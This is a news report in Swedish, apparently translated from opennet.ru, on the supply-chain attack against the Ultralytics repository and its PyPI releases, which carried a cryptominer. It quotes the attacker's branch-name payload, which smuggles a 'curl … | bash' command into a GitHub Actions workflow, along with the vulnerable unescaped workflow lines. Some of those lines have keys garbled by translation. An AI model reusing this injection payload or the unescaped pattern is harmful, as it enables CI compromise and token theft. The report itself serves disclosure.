Angripare kunde exekvera kod med GitHub Actions-hanterarprivilegier i Ultralytics Python-bibliotekets repository, vilket används för att lösa datorseendeproblem som objektdetektering i bilder och bildsegmentering. Efter att ha fått tillgång till arkivet publicerade angriparna flera nya Ultralytics-utgåvor i PyPI-katalogen, vilka inkluderade skadliga ändringar för kryptovalutautvinning. Under den senaste månaden har Ultralytics-biblioteket laddats ner från PyPI mer än 6.4 miljoner gånger.
Arkivet komprometterades genom att utnyttja en sårbarhet i paketet ultralytics-actions, vilket används för att automatiskt köra hanterare när vissa åtgärder utförs på ett GitHub-arkiv med hjälp av GitHub Actions-mekanismen. I ultralytics-projektet kopplades den sårbara hanteraren till pull_request_target-händelsen och anropades när nya pull-förfrågningar mottogs. För att formatera koden i de skickade pull-förfrågningarna anropades specifikt format.yml-hanteraren och koden som angavs i "run"-avsnittet i action.yml-filen kördes, vilken innehöll shell-kommandon med substitutionsmönster: git pull origin ${{ github.head_ref || github.ref }} git config --global användarnamn "${{ inputs.github_användarnamn }}" git config --global användare.e-post "${{ inputs.github_e-post }}"
Således ersattes namnet på Git-grenen som nämndes i pull-förfrågan med shell-kommandona utan korrekt escape-kod. Det är värt att notera att en liknande sårbarhet relaterad till användningen av ett externt värde i echo-funktionen redan åtgärdades i ultralytics-actions-paketet i augusti: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
För att organisera exekveringen av sin kod i kontexten av GitHub Actions-hanteraren skickade angriparna en pull request till ultralytics-arkivet och specificerade grennamnet: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Följaktligen, när en pull request mottogs, infogades strängen "$(…)" som angetts av angriparna i koden, vilket, vid efterföljande exekvering av hanteraren, ledde till exekveringen av koden "curl -sSfL raw.githubusercontent.com/…/file.sh | bash".

Att köra kod i samband med GitHub Actions kan användas för att samla in ett datalagers åtkomsttoken och annan känslig data. Det är ännu inte klart exakt hur angriparna lyckades skapa en utgåva och få möjligheten att exekvera sin kod i GitHub Actions, men det antas att detta blev möjligt på grund av en ändring i publish.yml-hanteraren (angriparna tog bort kontrollen för ett konto som har tillåtelse att publicera utgåvor till PyPI) och användningen av GitHub Actions build cache poisoning-teknik för att ersätta sina data i utgåvan.
Den första skadliga versionen av Ultralytics 8.3.41 publicerades av angriparna på PyPI den 4 december kl. 23:51 (MSK) och togs bort kl. 12:15 följande dag. Klockan 15:47 publicerades ytterligare en version, 8.3.42, och togs bort kl. 16:47. De skadliga versionerna var således tillgängliga för nedladdning i totalt cirka 13 timmar (PyPI registrerar cirka 250 000 nedladdningar av ultralytics-biblioteket per dag). Versionerna 8.3.41 och 8.3.42 innehöll kod som laddats ner från en extern ... server XMRig-komponent för kryptovalutautvinning.
Projektutvecklarna åtgärdade problemet och skapade korrigerande versioner 8.3.43 och 8.3.44, men två dagar senare genomfördes ytterligare en attack, under vilken angriparna publicerade ytterligare två skadliga versioner idag kl. 04:41 och 05:27 (MSK) - 8.3.45 och 8.3.46, vilka inkluderar annan miningkod. Tills undersökningen är klar rekommenderas användare att avvakta med att installera nya versioner och att ställa in version 8.3.44 som ett beroende.
Källa: opennet.ru
